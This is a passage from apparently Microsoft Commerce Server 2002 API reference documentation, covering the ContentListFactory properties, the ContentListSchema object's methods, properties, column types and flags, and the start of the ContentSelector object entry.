Fields | Fields | The Fields collection for a particular row in the ContentListFactory object. This property is read-only.
Schema | IContentListSchema | Stores a reference to the ContentListSchema object used by this ContentListFactory object. This property is read/write.
[Visual Basic]
Property | Type | Description
AllRows | IRowCollection | The collection of all rows in the ContentListFactory object. This property is read-only.
Count | long | Stores the number of rows in the ContentListFactory object. This property is read/write.
Fields | Fields | The Fields collection for a particular row in the ContentListFactory object. This property is read-only.
Schema | IContentListSchema | Stores a reference to the ContentListSchema object used by this ContentListFactory object. This property is read/write.


IContentListFactory::get_AllRows Property [C++]

ContentListFactory.AllRows Property [Visual Basic]

The AllRows property returns a new RowCollection object that allows access to the items in the ContentListFactory object. The AllRows property is read-only; however, the RowCollection object is read/write in that changes made using this object are reflected in the ContentListFactory object.

Definition

[C++]
Get method:
HRESULT IContentListFactory::get_AllRows(
 IRowCollection** AllRows
);
[Visual Basic]
Property AllRows() As IRowCollection

Parameters

AllRows [C++]
[out,retval] The address of a pointer used to return the IRowCollection interface of a RowCollection object that contains all of the items in this ContentListFactory object.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property is functionally identical to the one of the same name in the ContentList object.

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object

[C++] RowCollection Object

[Visual Basic] RowCollection Object


IContentListFactory::get_Count, put_Count Property [C++]

ContentListFactory.Count Property [Visual Basic]

The Count property is a read/write number that gets or sets the number of content items in a ContentListFactory object.

Definition

[C++]

Get method:

HRESULT IContentListFactory::get_Count(
 long* Count
);

Put method:

HRESULT IContentListFactory::put_Count(
 long Count
);
[Visual Basic]
Property Count() As Long

Parameters

Count [C++]
[in] When putting the property, a long that contains the item count.
[out,retval] When getting the property, a pointer to a long used to return the item count.

[Visual Basic] None.

Return Values

[C++]

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Count property cannot be changed once ContentList objects have been created by the ContentListFactory object. Also, the Count property cannot be set to a smaller number than its current setting.

This property is functionally identical to the one of the same name to be found in the ContentList object.

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object


IContentListFactory::get_Fields Property [C++]

ContentListFactory.Fields Property [Visual Basic]

The Fields property creates a new Fields object that allows access to the fields for a specified content item. The Fields property is read-only; however, the Fields object is read/write in that changes made using this object are reflected in the ContentListFactory object.

Definition

[C++]
Get method:
HRESULT IContentListFactory::get_Fields(
 long RowNum,
 Fields** Fields
);
[Visual Basic]
Property Fields(
 RowNum As Long
) As Fields

Parameters

RowNum [C++]
[in] A long that contains the position of the item in the ContentListFactory object for which a Fields object will be returned. Positions are counted from 0, not from 1.
RowNum [Visual Basic]
A Long that contains the position of the item in the ContentListFactory object for which a Fields object will be returned. Positions are counted from 0, not from 1.
Fields [C++]
[out,retval] The address of a pointer used to return a Fields object for the specified row in the ContentListFactory object.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Fields object exposes the same interface as the ADO Fields object.

This property is functionally identical to the one of the same name to be found in the ContentList object.

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object


IContentListFactory::get_Schema, put_Schema Property [C++]

ContentListFactory.Schema Property [Visual Basic]

The Schema property is a ContentListSchema object that contains the schema used by this ContentListFactory object. The Schema property is read/write.

Definition

[C++]

Get method:

HRESULT IContentListFactory::get_Schema(
 IContentListSchema** Schema
);

Put method:

HRESULT IContentListFactory::put_Schema(
 IContentListSchema* Schema
);
[Visual Basic]
Property Schema() As ContentListSchema

Parameters

Schema [C++]
[in] When putting the property, a pointer to the IContentListSchema interface of the ContentListSchema object that contains the new schema for this ContentListFactory object.
[out,retval] When getting the property, a pointer to an address used to return the IContentListSchema interface of the ContentListSchema object that contains the schema for this ContentListFactory object.

[Visual Basic] None.

Return Values

[C++]

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property is intended to only be set once. However, until any ContentList object is created using the CreateNewContentList method, or until rows are allocated in the ContentListFactory object by setting the Count property, it can be changed.

If this property is read before it is written, an empty ContentListSchema object will be created and returned.

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object


ContentListSchema Object [C++]

ContentListSchema Object [Visual Basic]

Use this object to manipulate the schema for a ContentListFactory object.

ProgID: | Commerce.ContentListSchema (Externally creatable)
COM Class Name: | ContentListSchema
Type Library Name: | Microsoft Commerce 2002 Cache Manager Type Library
DLL Name: | mscscache.dll
Threading Model: | Both
[C++]
COM Interface Name: | IContentListSchema
Interface ID Constant: | IID_IContentListSchema
Header File: | cacheint.h, mspu_guids.h

[C++] In C++, use the IContentListSchema interface to access to the methods and properties of a ContentListSchema object.

Methods

[C++]
Method | Description
Add | Adds a new column to the schema.
FindColumn | Returns the position of a named column. Column positions are counted starting from zero (0), not one (1). This position index may be used as the Column index parameter for the GetData, SetData, Filter, and Search methods of the IContentList interface.
GetSchema | Returns the entire schema in a high-performance, non-scriptable manner.
SetSchema | Sets the entire schema in a high-performance, non-scriptable manner.
[Visual Basic]
Method | Description
Add | Adds a new column to the schema.
FindColumn | Returns the position of a named column. Column positions are counted starting from zero (0), not one (1). This position index may be used as the Column index parameter for the GetData, SetData, Filter, and Search methods of the ContentList object.
GetSchema | Returns the entire schema in a high-performance, non-scriptable manner.
SetSchema | Sets the entire schema in a high-performance, non-scriptable manner.

Properties

[C++]
Property | Type | Description
ColumnFlags | long | Stores the column flags, represented as a bit field. This property is read/write.
ColumnName | BSTR | Stores the column name. This property is read/write.
ColumnType | ColumnTypeEnum | Stores the data type of the column. This property is read/write.
Count | long | Stores the number of columns defined by the schema. This property is read-only.
Locked | VARIANT_BOOL | Indicates whether this schema can be modified. This property is read/write. It is initially set to False. Once set to True, it can never be set back to False.
[Visual Basic]
Property | Type | Description
ColumnFlags | Long | Stores the column flags, represented as a bit field. This property is read/write.
ColumnName | String | Stores the column name. This property is read/write.
ColumnType | ColumnTypeEnum | Stores the data type of the column. This property is read/write.
Count | Long | Stores the number of columns defined by the schema. This property is read-only.
Locked | Boolean | Indicates whether this schema can be modified. This property is read/write. It is initially set to False. Once set to True, it can never be set back to False.
[C++]

Remarks

The methods GetSchema and SetSchema are only accessible from C++. Respectively, they get and set the entire schema associated with a ContentListSchema object. They pass the schema as an array of CLCOL_DESCRIPTOR structures, where each element in the array represents a corresponding column in the schema, in the same order that they appear in the array.

The definition of a CLCOL_DESCRIPTOR structure is as follows:

typedef struct
{
  ColumnTypeEnum  coltyp;    // column type
  ULONG           lFlags;    // column flags, represented as a bit field
  ULONG           cchName;   // length of column name
  WCHAR*          pwszName;  // column name
} CLCOL_DESCRIPTOR;

The members of the CLCOL_DESCRIPTOR structure are described in the following table.

Structure Member | Description
coltyp | Contains a value indicating the data type associated with the column. This value should be from the set of values present in the ColumnTypeEnum enumeration. For more information about this enumeration, see the Remarks section of IContentListSchema::get_ColumnType, put_ColumnType
lFlags | Contains a value indicating the column flags associated with the column, represented as a bit field.
cchName | Contains a value indicating the length of the column name string, in characters.
pwszName | Contains a pointer to a NULL-terminated string containing the name of the column.


IContentListSchema Methods

ContentListSchema Methods

Methods

[C++]
Method | Description
Add | Adds a new column to the schema.
FindColumn | Returns the position of a named column. Column positions are counted starting from zero (0), not one (1). This position index may be used as the Column index parameter for the GetData, SetData, Filter, and Search methods of the IContentList interface.
GetSchema | Returns the entire schema in a high-performance, non-scriptable manner.
SetSchema | Sets the entire schema in a high-performance, non-scriptable manner.
[Visual Basic]
Method | Description
Add | Adds a new column to the schema.
FindColumn | Returns the position of a named column. Column positions are counted starting from zero (0), not one (1). This position index may be used as the Column index parameter for the GetData, SetData, Filter, and Search methods of the ContentList object.
GetSchema | Returns the entire schema in a high-performance, non-scriptable manner.
SetSchema | Sets the entire schema in a high-performance, non-scriptable manner.


IContentListSchema::Add Method [C++]

ContentListSchema.Add Method [Visual Basic]

Use this method to add a new column to a schema for use by a ContentListFactory object and its associated ContentList objects.

Definition

[C++]
HRESULT IContentListSchema::Add(
 BSTR sName,
 ColumnTypeEnum Type,
 long Flags,
 long* ColumnNum
);
[Visual Basic]
Function Add(
 sName As String,
 Type As ColumnTypeEnum,
 Flags As Long
) As Long

Parameters

sName [C++]
[in] A BSTR that contains a name for the new column.
sName [Visual Basic]
A String that contains a name for the new column.
Type [C++]
[in] A value from the ColumnTypeEnum enumeration. See the Remarks section for more details.
Type [Visual Basic]
A value from the ColumnTypeEnum enumeration. See the Remarks section for more details.
Flags [C++]
[in] A long that contains the bit mask column flag settings for the new column.
Flags [Visual Basic]
A Long that contains the bit mask column flag settings for the new column.
ColumnNum [C++]
[out,retval] A pointer to a long used to return the position of the new column. Column positions are numbered starting with zero (0), not one (1).

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that contains the position of the new column. Column positions are numbered starting with zero (0), not one (1).

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Once the Locked property has been set to True, subsequent calls to this method will fail. The ContentListFactory object will set the Locked property of its ContentListSchema object to True when one of the following conditions is met:

  • Rows of data are allocated in the factory by setting the Count property or calling the ConstructFromRecordset method.
  • The ContentListFactory object has been used to construct one or more ContentList objects using the CreateNewContentList method.

The following table shows the values of the ColumnTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
CLCOL_I2 | 2 | A 16-bit integer. This value corresponds to the VARTYPE value VT_I2.
CLCOL_I4 | 3 | A 32-bit integer. This value corresponds to the VARTYPE value VT_I4.
CLCOL_R4 | 4 | A single precision floating point number. This value corresponds to the VARTYPE value VT_R4.
CLCOL_R8 | 5 | A double precision floating point number. This value corresponds to the VARTYPE value VT_R8.
CLCOL_CY | 6 | A 64-bit integer used to store a currency value. This value corresponds to the VARTYPE value VT_CY. Monetary values stored using this type are scaled by 10,000 (4 decimal places). For example, the value 86900 would correspond to a currency value of $8.69 in the US. This is also the same as the money datatype used by SQL7.
CLCOL_DATE | 7 | A double precision floating point number used to store a date/time value. This value corresponds to the VARTYPE value VT_DATE.
CLCOL_DISPATCH | 9 | A reference to an object that supports scripting/automation (inherits from IDispatch). This value corresponds to the VARTYPE value VT_DISPATCH.
CLCOL_BOOL | 11 | A boolean value. This value corresponds to the VARTYPE value VT_BOOL. Do not confuse this with the C++ type BOOL, which is 4 bytes.
CLCOL_UNKNOWN | 13 | A pointer to an IUnknown-based interface that, presumably, does not support scripting/automation (inherits from IUnknown). This value corresponds to the VARTYPE value VT_UNKNOWN.
CLCOL_STRING | 14 | A pointer to a string in the private heap maintained by every ContentListFactory object. There is no corresponding VARTYPE value.
CLCOL_VARIANTARRAY | 15 | A pointer to a SAFEARRAY. The corresponding variant type is VT_ARRAY or VT_VARIANT.

Note

  • With the exception of CLCOL_STRING and CLCOL_VARIANTARRAY, these types are identical to the corresponding VARTYPE and share the same constant value. They may be used as a VARTYPE.
[Visual Basic]

Example

'"Color" is the column name.
'CLCOL_STRING indicates the column is of type String.
'0 indicates that no flags are applied.

dim iColumnNum as Long
iColumnNum = myContentListSchema.Add("Color", CLCOL_STRING, 0)

See Also

[C++] ContentListSchema Object

[Visual Basic] ContentListSchema Object


IContentListSchema::FindColumn Method [C++]

ContentListSchema.FindColumn Method [Visual Basic]

Use this method to find the position of a column specified by name.

Definition

[C++]
HRESULT IContentListSchema::FindColumn(
 BSTR sName,
 long* ColumnNum
);
[Visual Basic]
Function FindColumn(
 sName As String
) As Long

Parameters

sName [C++]
[in] A BSTR that contains the name of the column for which the position will be returned.
sName [Visual Basic]
A String that contains the name of the column for which the position will be returned.
ColumnNum [C++]
[out,retval] A pointer to a long used to return the position of the specified column.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that contains the position of the new column.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Column positions are counted from zero (0), not one (1).

[Visual Basic]

Example

'"Color" is the column name.
Dim iColumnNum as Long

iColumnNum = myContentListSchema.FindColumn("Color")

See Also

[C++] ContentListSchema Object

[Visual Basic] ContentListSchema Object


IContentListSchema::GetSchema Method [C++]

ContentListSchema.GetSchema Method [Visual Basic]

[C++] Use this method to read the entire schema from a ContentListSchema object.

[C++] This is one of the two ContentListSchema methods that, in the interest of high performance, do not support a scriptable interface. The other method is SetSchema. They are only intended for use in C++.

[Visual Basic] In the interest of high performance, this method is not intended for use from Microsoft Visual Basic or Microsoft Visual Basic Scripting Edition (VBScript).

[C++]

Definition

HRESULT IContentListSchema::GetSchema(
 long* pnCols,
 CLCOL_DESCRIPTOR** prgColDesc
);

Parameters

pnCols
[out] A pointer to a long used to return the number of columns in the schema being returned. This value will be important in processing the array of column descriptors returned in the prgColDesc parameter.
prgColDesc
[out,size_is(,*pnCols)] The address of a pointer used to return the address of an array of CLCOL_DESCRIPTOR structures. These structures represent the entire schema, where each element in the array contains information regarding the column in that same position in the schema. For more information about the column descriptor structure, see ContentListSchema Object.

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

Remarks

Care must be taken in how the memory returned by calls to the GetSchema method gets released. The following code sample illustrates the proper technique:

// Declare variables for the GetSchema call.
long              cCols
CLCOL_DESCRIPTOR *pColDesc;

// Get the schema.
pContentListSchema->GetSchema(&cCols, &pColDesc);

// Use the returned schema as needed.

// When finished with the schema array,
// start by freeing the column name string memory.
for ( int i=0 ; I < cCols ; i++ ) {
    if ( NULL != pColDesc[i].pwszName ) {
        ::CoTaskMemFree(pColDesc[i].pwszName);
    }
}

// Then free the structure array memory.
::CoTaskMemFree(pColDesc);

See Also

[C++] ContentListSchema Object

[Visual Basic] ContentListSchema Object


IContentListSchema::SetSchema Method [C++]

ContentListSchema.SetSchema Method [Visual Basic]

[C++] Use this method to write an entire schema to a ContentListSchema object.

[C++] This is one of the two ContentListSchema methods that, in the interest of high performance, do not support a scriptable interface. The other method is GetSchema. They are only intended for use in C++.

[Visual Basic] In the interest of high performance, this method is not intended for use from Microsoft Visual Basic or Microsoft Visual Basic Scripting Edition (VBScript).

[C++]

Definition

HRESULT IContentListSchema::SetSchema(
 long nCols,
 CLCOL_DESCRIPTOR* rgColDesc
);

Parameters

nCols
[in] A long that specifies the number of columns in the column descriptor array passed in the rgColDesc parameter.
rgColDesc
[in,size_is(nCols)] A pointer to an array of CLCOL_DESCRIPTOR structures. These structures represent the entire schema, where each element in the array contains information regarding the column in that same position in the schema. For more information about the column descriptor structure, see ContentListSchema Object.

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

See Also

[C++] ContentListSchema Object

[Visual Basic] ContentListSchema Object


IContentListSchema Properties

ContentListSchema Properties

Properties

[C++]
Property | Type | Description
ColumnFlags | long | Stores the column flags, represented as a bit field. This property is read/write.
ColumnName | BSTR | Stores the column name. This property is read/write.
ColumnType | ColumnTypeEnum | Stores the data type of the column. This property is read/write.
Count | long | Stores the number of columns defined by the schema. This property is read-only.
Locked | VARIANT_BOOL | Indicates whether this schema can be modified. This property is read/write. It is initially set to False. Once set to True, it can never be set back to False.
[Visual Basic]
Property | Type | Description
ColumnFlags | Long | Stores the column flags, represented as a bit field. This property is read/write.
ColumnName | String | Stores the column name. This property is read/write.
ColumnType | ColumnTypeEnum | Stores the data type of the column. This property is read/write.
Count | Long | Stores the number of columns defined by the schema. This property is read-only.
Locked | Boolean | Indicates whether this schema can be modified. This property is read/write. It is initially set to False. Once set to True, it can never be set back to False.


IContentListSchema::get_ColumnFlags, put_ColumnFlags Property [C++]

ContentListSchema.ColumnFlags Property [Visual Basic]

The ColumnFlags property is a read/write long that contains the column flags.

Definition

[C++]

Get method:

HRESULT IContentListSchema::get_ColumnFlags(
 VARIANT vColumn,
 long* ColumnFlags
);

Put method:

HRESULT IContentListSchema::put_ColumnFlags(
 VARIANT vColumn,
 long ColumnFlags
);
[Visual Basic]
Property ColumnFlags(
 vColumn As Variant
) As Long

Parameters

vColumn [C++]
[in] A VARIANT that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
vColumn [Visual Basic]
A Variant that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
ColumnFlags [C++]
[in] When setting the property, a long that contains the new column flag settings, represented as a bit field.
[out,retval] When getting the property, a pointer to a long used to return the current column flag settings, represented as a bit field.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Column flags are represented as a bit field. The following table shows the meanings of the bits that are used and the constants provided for manipulating those bits.

Bit | Constant | Description
1 | CLCOL_READONLY (= 0x01) | When the bit is set, data in the column is read-only, and cannot be updated. This will be common for data stored in the ContentListFactory object since that data is shared between multiple page requests. When the bit is cleared, data in the column is read/write, and can be freely updated. No record locking is performed, so update contention could occur when updating data in the ContentListFactory object. This is not a concern for columns that are marked Private since they exist in the individual instances of ContentList objects, and ContentList objects are typically created for and used by a single thread.
2 | CLCOL_PRIVATE (= 0x02) | When the bit is set, the data in the column is private to each ContentList object based on this schema. This means that the data is stored separately in each ContentList object that is created, and not stored in the shared columns in the corresponding ContentListFactory object.
4 | CLCOL_SCORE_COLUMN (= 0x04) | When the bit is set it indicates that the data in this column is the score value associated with the content item. The type of this column must be a single-precision floating-point type (CLCOL_R4); only one column in the schema can have this flag set. Further, since a unique score value must be associated with each individual page request, this bit can only be set in conjunction with the CLCOL_PRIVATE bit. In other words, it must be a column stored in the ContentList object, as opposed to the ContentListFactory object, that is marked as the score column.

See Also

[C++] ContentListSchema Object

[Visual Basic] ContentListSchema Object


IContentListSchema::get_ColumnName, put_ColumnName Property [C++]

ContentListSchema.ColumnName Property [Visual Basic]

The ColumnName property is a read/write string that contains the name of the column.

Definition

[C++]

Get method:

HRESULT IContentListSchema::get_ColumnName(
 VARIANT vColumn,
 BSTR* ColumnName
);

Put method:

HRESULT IContentListSchema::put_ColumnName(
 VARIANT vColumn,
 BSTR ColumnName
);
[Visual Basic]
Property ColumnName(
 vColumn As Variant
) As String

Parameters

vColumn [C++]
[in] A VARIANT that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
vColumn [Visual Basic]
A Variant that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
ColumnName [C++]
[in] When putting the property, a BSTR that contains the new column name.
[out,retval] When getting the property, a pointer to a BSTR used to return the current column name.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Though using a column name as the value of the vColumn parameter in order to retrieve that same column name may be fruitless, passing a column name does make sense when changing the column name.

See Also

[C++] ContentListSchema Object

[Visual Basic] ContentListSchema Object


IContentListSchema::get_ColumnType, put_ColumnType Property [C++]

ContentListSchema.ColumnType Property [Visual Basic]

The ColumnType property is a read/write value from the ColumnTypeEnum enumeration, specifying the data type of the specified column.

Definition

[C++]

Get method:

HRESULT IContentListSchema::get_ColumnType(
 VARIANT vColumn,
 ColumnTypeEnum* ColumnType
);

Put method:

HRESULT IContentListSchema::put_ColumnType(
 VARIANT vColumn,
 ColumnTypeEnum ColumnType
);
[Visual Basic]
Property ColumnType(
 vColumn As Variant
) As ColumnTypeEnum

Parameters

vColumn [C++]
[in] A VARIANT that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
vColumn [Visual Basic]
A Variant that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
ColumnType [C++]
[in] When putting the property, a value from the ColumnTypeEnum enumeration. See the Remarks section for more details.

[out,retval] When getting the property, a pointer used to return a value from the ColumnTypeEnum enumeration. See the Remarks section for more details.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The following table shows the values of the ColumnTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
CLCOL_I2 | 2 | A 16-bit integer. This value corresponds to the VARTYPE value VT_I2.
CLCOL_I4 | 3 | A 32-bit integer. This value corresponds to the VARTYPE value VT_I4.
CLCOL_R4 | 4 | A single precision floating point number. This value corresponds to the VARTYPE value VT_R4.
CLCOL_R8 | 5 | A double precision floating point number. This value corresponds to the VARTYPE value VT_R8.
CLCOL_CY | 6 | A 64-bit integer used to store a currency value. This value corresponds to the VARTYPE value VT_CY. Monetary values stored using this type are scaled by 10,000 (4 decimal places). For example, the value 86900 would correspond to a currency value of $8.69 in the US. This is also the same as the money datatype used by SQL7.
CLCOL_DATE | 7 | A double precision floating point number used to store a date/time value. This value corresponds to the VARTYPE value VT_DATE.
CLCOL_DISPATCH | 9 | A reference to an object that supports scripting/automation (inherits from IDispatch). This value corresponds to the VARTYPE value VT_DISPATCH.
CLCOL_BOOL | 11 | A boolean. This value corresponds to the VARTYPE value VT_BOOL. Do not confuse this with the C++ type BOOL, which is 4 bytes.
CLCOL_UNKNOWN | 13 | A pointer to an IUnknown-based interface that, presumably, does not support scripting/automation (inherits from IUnknown). This value corresponds to the VARTYPE value VT_UNKNOWN.
CLCOL_STRING | 14 | A pointer to a string in the private heap maintained by every ContentListFactory object. There is no corresponding VARTYPE value.
CLCOL_VARIANTARRAY | 15 | A pointer to a SAFEARRAY. The corresponding variant type is VT_ARRAY or VT_VARIANT.

With the exception of CLCOL_STRING and CLCOL_VARIANTARRAY, these types are identical to the corresponding VARTYPE and share the same constant value. Indeed, they may be used as a VARTYPE.

See Also

[C++] ContentListSchema Object

[Visual Basic] ContentListSchema Object


IContentListSchema::get_Count Property [C++]

ContentListSchema.Count Property [Visual Basic]

The Count property is a read-only value that contains the current number of columns in the schema.

Definition

[C++]
Get method:
HRESULT IContentListSchema::get_Count(
 long* Count
);
[Visual Basic]
Property Count() As Long

Parameters

Count [C++]
[out,retval] A pointer to a long used to return the current number of columns in the schema.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] ContentListSchema Object

[Visual Basic] ContentListSchema Object


IContentListSchema::get_Locked, put_Locked Property [C++]

ContentListSchema.Locked Property [Visual Basic]

The Locked property is a read/write Boolean that indicates whether the ContentListSchema object can be modified. A value of True indicates that the schema is locked and cannot be modified. A value of False indicates that the schema is not locked and can be modified. Once the object is in use it can no longer be modified.

Definition

[C++]

Get method:

HRESULT IContentListSchema::get_Locked(
 VARIANT_BOOL* Locked
);

Put method:

HRESULT IContentListSchema::put_Locked(
 VARIANT_BOOL Locked
);
[Visual Basic]
Property Locked() As Boolean

Parameters

Locked [C++]
[in] When setting the property, a VARIANT_BOOL that specifies a new lock setting. Since schemas, once locked, cannot be unlocked, only the first call to this method with the Locked parameter set to True will have any effect.
[out,retval] When getting the property, a pointer to a VARIANT_BOOL used to return the state of the schema lock. A value of True indicates that the schema has been locked. A value of False indicates that the schema not yet been locked.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A ContentListSchema object becomes permanently locked as soon as this property is set to True. Once locked, the contained schema cannot be modified or unlocked. ContentListFactory objects will lock the schema as soon as any rows are allocated or any ContentList objects are created, whichever occurs first.

See Also

[C++] ContentListSchema Object

[Visual Basic] ContentListSchema Object


ContentSelector Object [C++]

ContentSelector Object [Visual Basic]

Use this object to select one or more items of content for display on a Web page. The content may come from customer campaigns (ads, discounts), or from custom applications built on the Content Selection Framework (CSF).

If you want to select custom content for display on your Web pages, you can use the CSF by instantiating and using ContentSelector objects. ContentSelector objects invoke different CSF pipelines to select different types of content based on the dictionary passed to the GetContent method.

ProgID: | Commerce.ContentSelector (Externally creatable)
COM Class Name: | CContentSelector
Type Library Name: | Microsoft Commerce 2002 CSF Pipeline Component 1.0 Type Library
DLL Name: | CSFComp.dll
Threading Model: | Both
[C++]
COM Interface Name: | IContentSelector
Interface ID Constant: | IID_IContentSelector
Header File: | csf.h, mspu_guids.h
[C++]

In C++, use the IContentSelector interface to access the properties of the ContentSelector object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

The ContentSelector object implements all of the methods and properties of the Dictionary object, only the method not inherited from the Dictionary object is shown in the following table.

Methods

[C++]
